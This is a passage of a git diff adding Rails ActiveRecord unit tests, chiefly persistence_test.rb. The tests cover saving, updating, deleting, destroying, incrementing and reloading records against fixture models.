+  def test_numeric_fields_with_scale
+    m = NumericData.new(
+      bank_balance: 1586.43122334,
+      big_bank_balance: BigDecimal("234000567.952344"),
+      world_population: 6000000000,
+      my_house_population: 3
+    )
+    assert m.save
+
+    m1 = NumericData.find(m.id)
+    assert_not_nil m1
+
+    # As with migration_test.rb, we should make world_population >= 2**62
+    # to cover 64-bit platforms and test it is a Bignum, but the main thing
+    # is that it's an Integer.
+    assert_kind_of Integer, m1.world_population
+    assert_equal 6000000000, m1.world_population
+
+    assert_kind_of Integer, m1.my_house_population
+    assert_equal 3, m1.my_house_population
+
+    assert_kind_of BigDecimal, m1.bank_balance
+    assert_equal BigDecimal("1586.43"), m1.bank_balance
+
+    assert_kind_of BigDecimal, m1.big_bank_balance
+    assert_equal BigDecimal("234000567.95"), m1.big_bank_balance
+  end
+end
diff --git a/activerecord/test/cases/persistence_test.rb b/activerecord/test/cases/persistence_test.rb
new file mode 100644
index 0000000000..33a4cc0dcb
--- /dev/null
+++ b/activerecord/test/cases/persistence_test.rb
@@ -0,0 +1,1047 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/aircraft"
+require "models/post"
+require "models/comment"
+require "models/author"
+require "models/topic"
+require "models/reply"
+require "models/category"
+require "models/company"
+require "models/developer"
+require "models/computer"
+require "models/project"
+require "models/minimalistic"
+require "models/warehouse_thing"
+require "models/parrot"
+require "models/minivan"
+require "models/owner"
+require "models/person"
+require "models/pet"
+require "models/ship"
+require "models/toy"
+require "models/admin"
+require "models/admin/user"
+require "rexml/document"
+
+class PersistenceTest < ActiveRecord::TestCase
+  fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, "warehouse-things", :authors, :author_addresses, :categorizations, :categories, :posts, :minivans, :pets, :toys
+
+  # Oracle UPDATE does not support ORDER BY
+  unless current_adapter?(:OracleAdapter)
+    def test_update_all_ignores_order_without_limit_from_association
+      author = authors(:david)
+      assert_nothing_raised do
+        assert_equal author.posts_with_comments_and_categories.length, author.posts_with_comments_and_categories.update_all([ "body = ?", "bulk update!" ])
+      end
+    end
+
+    def test_update_all_doesnt_ignore_order
+      assert_equal authors(:david).id + 1, authors(:mary).id # make sure there is going to be a duplicate PK error
+      test_update_with_order_succeeds = lambda do |order|
+        begin
+          Author.order(order).update_all("id = id + 1")
+        rescue ActiveRecord::ActiveRecordError
+          false
+        end
+      end
+
+      if test_update_with_order_succeeds.call("id DESC")
+        assert !test_update_with_order_succeeds.call("id ASC") # test that this wasn't a fluke and using an incorrect order results in an exception
+      else
+        # test that we're failing because the current Arel's engine doesn't support UPDATE ORDER BY queries is using subselects instead
+        assert_sql(/\AUPDATE .+ \(SELECT .* ORDER BY id DESC\)\z/i) do
+          test_update_with_order_succeeds.call("id DESC")
+        end
+      end
+    end
+
+    def test_update_all_with_order_and_limit_updates_subset_only
+      author = authors(:david)
+      assert_nothing_raised do
+        assert_equal 1, author.posts_sorted_by_id_limited.size
+        assert_equal 2, author.posts_sorted_by_id_limited.limit(2).to_a.size
+        assert_equal 1, author.posts_sorted_by_id_limited.update_all([ "body = ?", "bulk update!" ])
+        assert_equal "bulk update!", posts(:welcome).body
+        assert_not_equal "bulk update!", posts(:thinking).body
+      end
+    end
+  end
+
+  def test_update_many
+    topic_data = { 1 => { "content" => "1 updated" }, 2 => { "content" => "2 updated" } }
+    updated = Topic.update(topic_data.keys, topic_data.values)
+
+    assert_equal 2, updated.size
+    assert_equal "1 updated", Topic.find(1).content
+    assert_equal "2 updated", Topic.find(2).content
+  end
+
+  def test_delete_all
+    assert Topic.count > 0
+
+    assert_equal Topic.count, Topic.delete_all
+  end
+
+  def test_delete_all_with_joins_and_where_part_is_hash
+    where_args = { toys: { name: "Bone" } }
+    count = Pet.joins(:toys).where(where_args).count
+
+    assert_equal count, 1
+    assert_equal count, Pet.joins(:toys).where(where_args).delete_all
+  end
+
+  def test_delete_all_with_left_joins
+    where_args = { toys: { name: "Bone" } }
+    count = Pet.left_joins(:toys).where(where_args).count
+
+    assert_equal count, 1
+    assert_equal count, Pet.left_joins(:toys).where(where_args).delete_all
+  end
+
+  def test_delete_all_with_joins_and_where_part_is_not_hash
+    where_args = ["toys.name = ?", "Bone"]
+    count = Pet.joins(:toys).where(where_args).count
+
+    assert_equal count, 1
+    assert_equal count, Pet.joins(:toys).where(where_args).delete_all
+  end
+
+  def test_increment_attribute
+    assert_equal 50, accounts(:signals37).credit_limit
+    accounts(:signals37).increment! :credit_limit
+    assert_equal 51, accounts(:signals37, :reload).credit_limit
+
+    accounts(:signals37).increment(:credit_limit).increment!(:credit_limit)
+    assert_equal 53, accounts(:signals37, :reload).credit_limit
+  end
+
+  def test_increment_nil_attribute
+    assert_nil topics(:first).parent_id
+    topics(:first).increment! :parent_id
+    assert_equal 1, topics(:first).parent_id
+  end
+
+  def test_increment_attribute_by
+    assert_equal 50, accounts(:signals37).credit_limit
+    accounts(:signals37).increment! :credit_limit, 5
+    assert_equal 55, accounts(:signals37, :reload).credit_limit
+
+    accounts(:signals37).increment(:credit_limit, 1).increment!(:credit_limit, 3)
+    assert_equal 59, accounts(:signals37, :reload).credit_limit
+  end
+
+  def test_increment_updates_counter_in_db_using_offset
+    a1 = accounts(:signals37)
+    initial_credit = a1.credit_limit
+    a2 = Account.find(accounts(:signals37).id)
+    a1.increment!(:credit_limit)
+    a2.increment!(:credit_limit)
+    assert_equal initial_credit + 2, a1.reload.credit_limit
+  end
+
+  def test_increment_updates_timestamps
+    topic = topics(:first)
+    topic.update_columns(updated_at: 5.minutes.ago)
+    previous_updated_at = topic.updated_at
+    topic.increment!(:replies_count, touch: true)
+    assert_operator previous_updated_at, :<, topic.reload.updated_at
+  end
+
+  def test_destroy_all
+    conditions = "author_name = 'Mary'"
+    topics_by_mary = Topic.all.merge!(where: conditions, order: "id").to_a
+    assert ! topics_by_mary.empty?
+
+    assert_difference("Topic.count", -topics_by_mary.size) do
+      destroyed = Topic.where(conditions).destroy_all.sort_by(&:id)
+      assert_equal topics_by_mary, destroyed
+      assert destroyed.all?(&:frozen?), "destroyed topics should be frozen"
+    end
+  end
+
+  def test_destroy_many
+    clients = Client.all.merge!(order: "id").find([2, 3])
+
+    assert_difference("Client.count", -2) do
+      destroyed = Client.destroy([2, 3]).sort_by(&:id)
+      assert_equal clients, destroyed
+      assert destroyed.all?(&:frozen?), "destroyed clients should be frozen"
+    end
+  end
+
+  def test_becomes
+    assert_kind_of Reply, topics(:first).becomes(Reply)
+    assert_equal "The First Topic", topics(:first).becomes(Reply).title
+  end
+
+  def test_becomes_includes_errors
+    company = Company.new(name: nil)
+    assert !company.valid?
+    original_errors = company.errors
+    client = company.becomes(Client)
+    assert_equal original_errors.keys, client.errors.keys
+  end
+
+  def test_becomes_errors_base
+    child_class = Class.new(Admin::User) do
+      store_accessor :settings, :foo
+
+      def self.name; "Admin::ChildUser"; end
+    end
+
+    admin = Admin::User.new
+    admin.errors.add :token, :invalid
+    child = admin.becomes(child_class)
+
+    assert_equal [:token], child.errors.keys
+    assert_nothing_raised do
+      child.errors.add :foo, :invalid
+    end
+  end
+
+  def test_duped_becomes_persists_changes_from_the_original
+    original = topics(:first)
+    copy = original.dup.becomes(Reply)
+    copy.save!
+    assert_equal "The First Topic", Topic.find(copy.id).title
+  end
+
+  def test_becomes_includes_changed_attributes
+    company = Company.new(name: "37signals")
+    client = company.becomes(Client)
+    assert_equal "37signals", client.name
+    assert_equal %w{name}, client.changed
+  end
+
+  def test_delete_many
+    original_count = Topic.count
+    Topic.delete(deleting = [1, 2])
+    assert_equal original_count - deleting.size, Topic.count
+  end
+
+  def test_decrement_attribute
+    assert_equal 50, accounts(:signals37).credit_limit
+
+    accounts(:signals37).decrement!(:credit_limit)
+    assert_equal 49, accounts(:signals37, :reload).credit_limit
+
+    accounts(:signals37).decrement(:credit_limit).decrement!(:credit_limit)
+    assert_equal 47, accounts(:signals37, :reload).credit_limit
+  end
+
+  def test_decrement_attribute_by
+    assert_equal 50, accounts(:signals37).credit_limit
+    accounts(:signals37).decrement! :credit_limit, 5
+    assert_equal 45, accounts(:signals37, :reload).credit_limit
+
+    accounts(:signals37).decrement(:credit_limit, 1).decrement!(:credit_limit, 3)
+    assert_equal 41, accounts(:signals37, :reload).credit_limit
+  end
+
+  def test_decrement_updates_timestamps
+    topic = topics(:first)
+    topic.update_columns(updated_at: 5.minutes.ago)
+    previous_updated_at = topic.updated_at
+    topic.decrement!(:replies_count, touch: true)
+    assert_operator previous_updated_at, :<, topic.reload.updated_at
+  end
+
+  def test_create
+    topic = Topic.new
+    topic.title = "New Topic"
+    topic.save
+    topic_reloaded = Topic.find(topic.id)
+    assert_equal("New Topic", topic_reloaded.title)
+  end
+
+  def test_save!
+    topic = Topic.new(title: "New Topic")
+    assert topic.save!
+
+    reply = WrongReply.new
+    assert_raise(ActiveRecord::RecordInvalid) { reply.save! }
+  end
+
+  def test_save_null_string_attributes
+    topic = Topic.find(1)
+    topic.attributes = { "title" => "null", "author_name" => "null" }
+    topic.save!
+    topic.reload
+    assert_equal("null", topic.title)
+    assert_equal("null", topic.author_name)
+  end
+
+  def test_save_nil_string_attributes
+    topic = Topic.find(1)
+    topic.title = nil
+    topic.save!
+    topic.reload
+    assert_nil topic.title
+  end
+
+  def test_save_for_record_with_only_primary_key
+    minimalistic = Minimalistic.new
+    assert_nothing_raised { minimalistic.save }
+  end
+
+  def test_save_for_record_with_only_primary_key_that_is_provided
+    assert_nothing_raised { Minimalistic.create!(id: 2) }
+  end
+
+  def test_save_with_duping_of_destroyed_object
+    developer = Developer.first
+    developer.destroy
+    new_developer = developer.dup
+    new_developer.save
+    assert new_developer.persisted?
+    assert_not new_developer.destroyed?
+  end
+
+  def test_create_many
+    topics = Topic.create([ { "title" => "first" }, { "title" => "second" }])
+    assert_equal 2, topics.size
+    assert_equal "first", topics.first.title
+  end
+
+  def test_create_columns_not_equal_attributes
+    topic = Topic.instantiate(
+      "attributes" => {
+        "title"          => "Another New Topic",
+        "does_not_exist" => "test"
+      }
+    )
+    assert_nothing_raised { topic.save }
+  end
+
+  def test_create_through_factory_with_block
+    topic = Topic.create("title" => "New Topic") do |t|
+      t.author_name = "David"
+    end
+    assert_equal("New Topic", topic.title)
+    assert_equal("David", topic.author_name)
+  end
+
+  def test_create_many_through_factory_with_block
+    topics = Topic.create([ { "title" => "first" }, { "title" => "second" }]) do |t|
+      t.author_name = "David"
+    end
+    assert_equal 2, topics.size
+    topic1, topic2 = Topic.find(topics[0].id), Topic.find(topics[1].id)
+    assert_equal "first", topic1.title
+    assert_equal "David", topic1.author_name
+    assert_equal "second", topic2.title
+    assert_equal "David", topic2.author_name
+  end
+
+  def test_update_object
+    topic = Topic.new
+    topic.title = "Another New Topic"
+    topic.written_on = "2003-12-12 23:23:00"
+    topic.save
+    topic_reloaded = Topic.find(topic.id)
+    assert_equal("Another New Topic", topic_reloaded.title)
+
+    topic_reloaded.title = "Updated topic"
+    topic_reloaded.save
+
+    topic_reloaded_again = Topic.find(topic.id)
+
+    assert_equal("Updated topic", topic_reloaded_again.title)
+  end
+
+  def test_update_columns_not_equal_attributes
+    topic = Topic.new
+    topic.title = "Still another topic"
+    topic.save
+
+    topic_reloaded = Topic.instantiate(topic.attributes.merge("does_not_exist" => "test"))
+    topic_reloaded.title = "A New Topic"
+    assert_nothing_raised { topic_reloaded.save }
+  end
+
+  def test_update_for_record_with_only_primary_key
+    minimalistic = minimalistics(:first)
+    assert_nothing_raised { minimalistic.save }
+  end
+
+  def test_update_sti_type
+    assert_instance_of Reply, topics(:second)
+
+    topic = topics(:second).becomes!(Topic)
+    assert_instance_of Topic, topic
+    topic.save!
+    assert_instance_of Topic, Topic.find(topic.id)
+  end
+
+  def test_preserve_original_sti_type
+    reply = topics(:second)
+    assert_equal "Reply", reply.type
+
+    topic = reply.becomes(Topic)
+    assert_equal "Reply", reply.type
+
+    assert_instance_of Topic, topic
+    assert_equal "Reply", topic.type
+  end
+
+  def test_update_sti_subclass_type
+    assert_instance_of Topic, topics(:first)
+
+    reply = topics(:first).becomes!(Reply)
+    assert_instance_of Reply, reply
+    reply.save!
+    assert_instance_of Reply, Reply.find(reply.id)
+  end
+
+  def test_update_after_create
+    klass = Class.new(Topic) do
+      def self.name; "Topic"; end
+      after_create do
+        update_attribute("author_name", "David")
+      end
+    end
+    topic = klass.new
+    topic.title = "Another New Topic"
+    topic.save
+
+    topic_reloaded = Topic.find(topic.id)
+    assert_equal("Another New Topic", topic_reloaded.title)
+    assert_equal("David", topic_reloaded.author_name)
+  end
+
+  def test_update_attribute_does_not_run_sql_if_attribute_is_not_changed
+    klass = Class.new(Topic) do
+      def self.name; "Topic"; end
+    end
+    topic = klass.create(title: "Another New Topic")
+    assert_queries(0) do
+      assert topic.update_attribute(:title, "Another New Topic")
+    end
+  end
+
+  def test_update_does_not_run_sql_if_record_has_not_changed
+    topic = Topic.create(title: "Another New Topic")
+    assert_queries(0) { assert topic.update(title: "Another New Topic") }
+    assert_queries(0) { assert topic.update_attributes(title: "Another New Topic") }
+  end
+
+  def test_delete
+    topic = Topic.find(1)
+    assert_equal topic, topic.delete, "topic.delete did not return self"
+    assert topic.frozen?, "topic not frozen after delete"
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(topic.id) }
+  end
+
+  def test_delete_doesnt_run_callbacks
+    Topic.find(1).delete
+    assert_not_nil Topic.find(2)
+  end
+
+  def test_delete_isnt_affected_by_scoping
+    topic = Topic.find(1)
+    assert_difference("Topic.count", -1) do
+      Topic.where("1=0").scoping { topic.delete }
+    end
+  end
+
+  def test_destroy
+    topic = Topic.find(1)
+    assert_equal topic, topic.destroy, "topic.destroy did not return self"
+    assert topic.frozen?, "topic not frozen after destroy"
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(topic.id) }
+  end
+
+  def test_destroy!
+    topic = Topic.find(1)
+    assert_equal topic, topic.destroy!, "topic.destroy! did not return self"
+    assert topic.frozen?, "topic not frozen after destroy!"
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(topic.id) }
+  end
+
+  def test_record_not_found_exception
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(99999) }
+  end
+
+  def test_update_all
+    assert_equal Topic.count, Topic.update_all("content = 'bulk updated!'")
+    assert_equal "bulk updated!", Topic.find(1).content
+    assert_equal "bulk updated!", Topic.find(2).content
+
+    assert_equal Topic.count, Topic.update_all(["content = ?", "bulk updated again!"])
+    assert_equal "bulk updated again!", Topic.find(1).content
+    assert_equal "bulk updated again!", Topic.find(2).content
+
+    assert_equal Topic.count, Topic.update_all(["content = ?", nil])
+    assert_nil Topic.find(1).content
+  end
+
+  def test_update_all_with_hash
+    assert_not_nil Topic.find(1).last_read
+    assert_equal Topic.count, Topic.update_all(content: "bulk updated with hash!", last_read: nil)
+    assert_equal "bulk updated with hash!", Topic.find(1).content
+    assert_equal "bulk updated with hash!", Topic.find(2).content
+    assert_nil Topic.find(1).last_read
+    assert_nil Topic.find(2).last_read
+  end
+
+  def test_update_all_with_joins
+    where_args = { toys: { name: "Bone" } }
+    count = Pet.left_joins(:toys).where(where_args).count
+
+    assert_equal count, Pet.joins(:toys).where(where_args).update_all(name: "Bob")
+  end
+
+  def test_update_all_with_left_joins
+    where_args = { toys: { name: "Bone" } }
+    count = Pet.left_joins(:toys).where(where_args).count
+
+    assert_equal count, Pet.left_joins(:toys).where(where_args).update_all(name: "Bob")
+  end
+
+  def test_update_all_with_non_standard_table_name
+    assert_equal 1, WarehouseThing.where(id: 1).update_all(["value = ?", 0])
+    assert_equal 0, WarehouseThing.find(1).value
+  end
+
+  def test_delete_new_record
+    client = Client.new
+    client.delete
+    assert client.frozen?
+  end
+
+  def test_delete_record_with_associations
+    client = Client.find(3)
+    client.delete
+    assert client.frozen?
+    assert_kind_of Firm, client.firm
+    assert_raise(RuntimeError) { client.name = "something else" }
+  end
+
+  def test_destroy_new_record
+    client = Client.new
+    client.destroy
+    assert client.frozen?
+  end
+
+  def test_destroy_record_with_associations
+    client = Client.find(3)
+    client.destroy
+    assert client.frozen?
+    assert_kind_of Firm, client.firm
+    assert_raise(RuntimeError) { client.name = "something else" }
+  end
+
+  def test_update_attribute
+    assert !Topic.find(1).approved?
+    Topic.find(1).update_attribute("approved", true)
+    assert Topic.find(1).approved?
+
+    Topic.find(1).update_attribute(:approved, false)
+    assert !Topic.find(1).approved?
+  end
+
+  def test_update_attribute_for_readonly_attribute
+    minivan = Minivan.find("m1")
+    assert_raises(ActiveRecord::ActiveRecordError) { minivan.update_attribute(:color, "black") }
+  end
+
+  def test_update_attribute_with_one_updated
+    t = Topic.first
+    t.update_attribute(:title, "super_title")
+    assert_equal "super_title", t.title
+    assert !t.changed?, "topic should not have changed"
+    assert !t.title_changed?, "title should not have changed"
+    assert_nil t.title_change, "title change should be nil"
+
+    t.reload
+    assert_equal "super_title", t.title
+  end
+
+  def test_update_attribute_for_updated_at_on
+    developer = Developer.find(1)
+    prev_month = Time.now.prev_month.change(usec: 0)
+
+    developer.update_attribute(:updated_at, prev_month)
+    assert_equal prev_month, developer.updated_at
+
+    developer.update_attribute(:salary, 80001)
+    assert_not_equal prev_month, developer.updated_at
+
+    developer.reload
+    assert_not_equal prev_month, developer.updated_at
+  end
+
+  def test_update_column
+    topic = Topic.find(1)
+    topic.update_column("approved", true)
+    assert topic.approved?
+    topic.reload
+    assert topic.approved?
+
+    topic.update_column(:approved, false)
+    assert !topic.approved?
+    topic.reload
+    assert !topic.approved?
+  end
+
+  def test_update_column_should_not_use_setter_method
+    dev = Developer.find(1)
+    dev.instance_eval { def salary=(value); write_attribute(:salary, value * 2); end }
+
+    dev.update_column(:salary, 80000)
+    assert_equal 80000, dev.salary
+
+    dev.reload
+    assert_equal 80000, dev.salary
+  end
+
+  def test_update_column_should_raise_exception_if_new_record
+    topic = Topic.new
+    assert_raises(ActiveRecord::ActiveRecordError) { topic.update_column("approved", false) }
+  end
+
+  def test_update_column_should_not_leave_the_object_dirty
+    topic = Topic.find(1)
+    topic.update_column("content", "--- Have a nice day\n...\n")
+
+    topic.reload
+    topic.update_column(:content, "--- You too\n...\n")
+    assert_equal [], topic.changed
+
+    topic.reload
+    topic.update_column("content", "--- Have a nice day\n...\n")
+    assert_equal [], topic.changed
+  end
+
+  def test_update_column_with_model_having_primary_key_other_than_id
+    minivan = Minivan.find("m1")
+    new_name = "sebavan"
+
+    minivan.update_column(:name, new_name)
+    assert_equal new_name, minivan.name
+  end
+
+  def test_update_column_for_readonly_attribute
+    minivan = Minivan.find("m1")
+    prev_color = minivan.color
+    assert_raises(ActiveRecord::ActiveRecordError) { minivan.update_column(:color, "black") }
+    assert_equal prev_color, minivan.color
+  end
+
+  def test_update_column_should_not_modify_updated_at
+    developer = Developer.find(1)
+    prev_month = Time.now.prev_month.change(usec: 0)
+
+    developer.update_column(:updated_at, prev_month)
+    assert_equal prev_month, developer.updated_at
+
+    developer.update_column(:salary, 80001)
+    assert_equal prev_month, developer.updated_at
+
+    developer.reload
+    assert_equal prev_month.to_i, developer.updated_at.to_i
+  end
+
+  def test_update_column_with_one_changed_and_one_updated
+    t = Topic.order("id").limit(1).first
+    author_name = t.author_name
+    t.author_name = "John"
+    t.update_column(:title, "super_title")
+    assert_equal "John", t.author_name
+    assert_equal "super_title", t.title
+    assert t.changed?, "topic should have changed"
+    assert t.author_name_changed?, "author_name should have changed"
+
+    t.reload
+    assert_equal author_name, t.author_name
+    assert_equal "super_title", t.title
+  end
+
+  def test_update_column_with_default_scope
+    developer = DeveloperCalledDavid.first
+    developer.name = "John"
+    developer.save!
+
+    assert developer.update_column(:name, "Will"), "did not update record due to default scope"
+  end
+
+  def test_update_columns
+    topic = Topic.find(1)
+    topic.update_columns("approved" => true, title: "Sebastian Topic")
+    assert topic.approved?
+    assert_equal "Sebastian Topic", topic.title
+    topic.reload
+    assert topic.approved?
+    assert_equal "Sebastian Topic", topic.title
+  end
+
+  def test_update_columns_should_not_use_setter_method
+    dev = Developer.find(1)
+    dev.instance_eval { def salary=(value); write_attribute(:salary, value * 2); end }
+
+    dev.update_columns(salary: 80000)
+    assert_equal 80000, dev.salary
+
+    dev.reload
+    assert_equal 80000, dev.salary
+  end
+
+  def test_update_columns_should_raise_exception_if_new_record
+    topic = Topic.new
+    assert_raises(ActiveRecord::ActiveRecordError) { topic.update_columns(approved: false) }
+  end
+
+  def test_update_columns_should_not_leave_the_object_dirty
+    topic = Topic.find(1)
+    topic.update("content" => "--- Have a nice day\n...\n", :author_name => "Jose")
+
+    topic.reload
+    topic.update_columns(content: "--- You too\n...\n", "author_name" => "Sebastian")
+    assert_equal [], topic.changed
+
+    topic.reload
+    topic.update_columns(content: "--- Have a nice day\n...\n", author_name: "Jose")
+    assert_equal [], topic.changed
+  end
+
+  def test_update_columns_with_model_having_primary_key_other_than_id
+    minivan = Minivan.find("m1")
+    new_name = "sebavan"
+
+    minivan.update_columns(name: new_name)
+    assert_equal new_name, minivan.name
+  end
+
+  def test_update_columns_with_one_readonly_attribute
+    minivan = Minivan.find("m1")
+    prev_color = minivan.color
+    prev_name = minivan.name
+    assert_raises(ActiveRecord::ActiveRecordError) { minivan.update_columns(name: "My old minivan", color: "black") }
+    assert_equal prev_color, minivan.color
+    assert_equal prev_name, minivan.name
+
+    minivan.reload
+    assert_equal prev_color, minivan.color
+    assert_equal prev_name, minivan.name
+  end
+
+  def test_update_columns_should_not_modify_updated_at
+    developer = Developer.find(1)
+    prev_month = Time.now.prev_month.change(usec: 0)
+
+    developer.update_columns(updated_at: prev_month)
+    assert_equal prev_month, developer.updated_at
+
+    developer.update_columns(salary: 80000)
+    assert_equal prev_month, developer.updated_at
+    assert_equal 80000, developer.salary
+
+    developer.reload
+    assert_equal prev_month.to_i, developer.updated_at.to_i
+    assert_equal 80000, developer.salary
+  end
+
+  def test_update_columns_with_one_changed_and_one_updated
+    t = Topic.order("id").limit(1).first
+    author_name = t.author_name
+    t.author_name = "John"
+    t.update_columns(title: "super_title")
+    assert_equal "John", t.author_name
+    assert_equal "super_title", t.title
+    assert t.changed?, "topic should have changed"
+    assert t.author_name_changed?, "author_name should have changed"
+
+    t.reload
+    assert_equal author_name, t.author_name
+    assert_equal "super_title", t.title
+  end
+
+  def test_update_columns_changing_id
+    topic = Topic.find(1)
+    topic.update_columns(id: 123)
+    assert_equal 123, topic.id
+    topic.reload
+    assert_equal 123, topic.id
+  end
+
+  def test_update_columns_returns_boolean
+    topic = Topic.find(1)
+    assert_equal true, topic.update_columns(title: "New title")
+  end
+
+  def test_update_columns_with_default_scope
+    developer = DeveloperCalledDavid.first
+    developer.name = "John"
+    developer.save!
+
+    assert developer.update_columns(name: "Will"), "did not update record due to default scope"
+  end
+
+  def test_update
+    topic = Topic.find(1)
+    assert !topic.approved?
+    assert_equal "The First Topic", topic.title
+
+    topic.update("approved" => true, "title" => "The First Topic Updated")
+    topic.reload
+    assert topic.approved?
+    assert_equal "The First Topic Updated", topic.title
+
+    topic.update(approved: false, title: "The First Topic")
+    topic.reload
+    assert !topic.approved?
+    assert_equal "The First Topic", topic.title
+  end
+
+  def test_update_attributes
+    topic = Topic.find(1)
+    assert !topic.approved?
+    assert_equal "The First Topic", topic.title
+
+    topic.update_attributes("approved" => true, "title" => "The First Topic Updated")
+    topic.reload
+    assert topic.approved?
+    assert_equal "The First Topic Updated", topic.title
+
+    topic.update_attributes(approved: false, title: "The First Topic")
+    topic.reload
+    assert !topic.approved?
+    assert_equal "The First Topic", topic.title
+
+    error = assert_raise(ActiveRecord::RecordNotUnique, ActiveRecord::StatementInvalid) do
+      topic.update_attributes(id: 3, title: "Hm is it possible?")
+    end
+    assert_not_nil error.cause
+    assert_not_equal "Hm is it possible?", Topic.find(3).title
+
+    topic.update_attributes(id: 1234)
+    assert_nothing_raised { topic.reload }
+    assert_equal topic.title, Topic.find(1234).title
+  end
+
+  def test_update_attributes_parameters
+    topic = Topic.find(1)
+    assert_nothing_raised do
+      topic.update_attributes({})
+    end
+
+    assert_raises(ArgumentError) do
+      topic.update_attributes(nil)
+    end
+  end
+
+  def test_update!
+    Reply.validates_presence_of(:title)
+    reply = Reply.find(2)
+    assert_equal "The Second Topic of the day", reply.title
+    assert_equal "Have a nice day", reply.content
+
+    reply.update!("title" => "The Second Topic of the day updated", "content" => "Have a nice evening")
+    reply.reload
+    assert_equal "The Second Topic of the day updated", reply.title
+    assert_equal "Have a nice evening", reply.content
+
+    reply.update!(title: "The Second Topic of the day", content: "Have a nice day")
+    reply.reload
+    assert_equal "The Second Topic of the day", reply.title
+    assert_equal "Have a nice day", reply.content
+
+    assert_raise(ActiveRecord::RecordInvalid) { reply.update!(title: nil, content: "Have a nice evening") }
+  ensure
+    Reply.clear_validators!
+  end
+
+  def test_update_attributes!
+    Reply.validates_presence_of(:title)
+    reply = Reply.find(2)
+    assert_equal "The Second Topic of the day", reply.title
+    assert_equal "Have a nice day", reply.content
+
+    reply.update_attributes!("title" => "The Second Topic of the day updated", "content" => "Have a nice evening")
+    reply.reload
+    assert_equal "The Second Topic of the day updated", reply.title
+    assert_equal "Have a nice evening", reply.content
+
+    reply.update_attributes!(title: "The Second Topic of the day", content: "Have a nice day")
+    reply.reload
+    assert_equal "The Second Topic of the day", reply.title
+    assert_equal "Have a nice day", reply.content
+
+    assert_raise(ActiveRecord::RecordInvalid) { reply.update_attributes!(title: nil, content: "Have a nice evening") }
+  ensure
+    Reply.clear_validators!
+  end
+
+  def test_destroyed_returns_boolean
+    developer = Developer.first
+    assert_equal false, developer.destroyed?
+    developer.destroy
+    assert_equal true, developer.destroyed?
+
+    developer = Developer.last
+    assert_equal false, developer.destroyed?
+    developer.delete
+    assert_equal true, developer.destroyed?
+  end
+
+  def test_persisted_returns_boolean
+    developer = Developer.new(name: "Jose")
+    assert_equal false, developer.persisted?
+    developer.save!
+    assert_equal true, developer.persisted?
+
+    developer = Developer.first
+    assert_equal true, developer.persisted?
+    developer.destroy
+    assert_equal false, developer.persisted?
+
+    developer = Developer.last
+    assert_equal true, developer.persisted?
+    developer.delete
+    assert_equal false, developer.persisted?
+  end
+
+  def test_class_level_destroy
+    should_be_destroyed_reply = Reply.create("title" => "hello", "content" => "world")
+    Topic.find(1).replies << should_be_destroyed_reply
+
+    Topic.destroy(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1) }
+    assert_raise(ActiveRecord::RecordNotFound) { Reply.find(should_be_destroyed_reply.id) }
+  end
+
+  def test_class_level_delete
+    should_be_destroyed_reply = Reply.create("title" => "hello", "content" => "world")
+    Topic.find(1).replies << should_be_destroyed_reply
+
+    Topic.delete(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1) }
+    assert_nothing_raised { Reply.find(should_be_destroyed_reply.id) }
+  end
+
+  def test_create_with_custom_timestamps
+    custom_datetime = 1.hour.ago.beginning_of_day
+
+    %w(created_at created_on updated_at updated_on).each do |attribute|
+      parrot = LiveParrot.create(:name => "colombian", attribute => custom_datetime)
+      assert_equal custom_datetime, parrot[attribute]
+    end
+  end
+
+  def test_persist_inherited_class_with_different_table_name
+    minimalistic_aircrafts = Class.new(Minimalistic) do
+      self.table_name = "aircraft"
+    end
+
+    assert_difference "Aircraft.count", 1 do
+      aircraft = minimalistic_aircrafts.create(name: "Wright Flyer")
+      aircraft.name = "Wright Glider"
+      aircraft.save
+    end
+
+    assert_equal "Wright Glider", Aircraft.last.name
+  end
+
+  def test_instantiate_creates_a_new_instance
+    post = Post.instantiate("title" => "appropriate documentation", "type" => "SpecialPost")
+    assert_equal "appropriate documentation", post.title
+    assert_instance_of SpecialPost, post
+
+    # body was not initialized
+    assert_raises ActiveModel::MissingAttributeError do
+      post.body
+    end
+  end
+
+  def test_reload_removes_custom_selects
+    post = Post.select("posts.*, 1 as wibble").last!
+
+    assert_equal 1, post[:wibble]
+    assert_nil post.reload[:wibble]
+  end
+
+  def test_find_via_reload
+    post = Post.new
+
+    assert post.new_record?
+
+    post.id = 1
+    post.reload
+
+    assert_equal "Welcome to the weblog", post.title
+    assert_not post.new_record?
+  end
+
+  def test_reload_via_querycache
+    ActiveRecord::Base.connection.enable_query_cache!
+    ActiveRecord::Base.connection.clear_query_cache
+    assert ActiveRecord::Base.connection.query_cache_enabled, "cache should be on"
+    parrot = Parrot.create(name: "Shane")
+
+    # populate the cache with the SELECT result
+    found_parrot = Parrot.find(parrot.id)
+    assert_equal parrot.id, found_parrot.id
+
+    # Manually update the 'name' attribute in the DB directly
+    assert_equal 1, ActiveRecord::Base.connection.query_cache.length
+    ActiveRecord::Base.uncached do
+      found_parrot.name = "Mary"
+      found_parrot.save
+    end
+
+    # Now reload, and verify that it gets the DB version, and not the querycache version
+    found_parrot.reload
+    assert_equal "Mary", found_parrot.name
+
+    found_parrot = Parrot.find(parrot.id)
+    assert_equal "Mary", found_parrot.name
+  ensure
+    ActiveRecord::Base.connection.disable_query_cache!
+  end
+
+  class SaveTest < ActiveRecord::TestCase
+    self.use_transactional_tests = false
+
+    def test_save_touch_false
+      widget = Class.new(ActiveRecord::Base) do
+        connection.create_table :widgets, force: true do |t|
+          t.string :name
+          t.timestamps null: false
+        end
+
+        self.table_name = :widgets
+      end
+
+      instance = widget.create!(
+        name: "Bob",
+        created_at: 1.day.ago,
+        updated_at: 1.day.ago)
+
+      created_at = instance.created_at
+      updated_at = instance.updated_at
+
+      instance.name = "Barb"
+      instance.save!(touch: false)
+      assert_equal instance.created_at, created_at
+      assert_equal instance.updated_at, updated_at
+    ensure
+      ActiveRecord::Base.connection.drop_table widget.table_name
+      widget.reset_column_information
+    end
+  end
+
+  def test_reset_column_information_resets_children
+    child = Class.new(Topic)
+    child.new # force schema to load
+
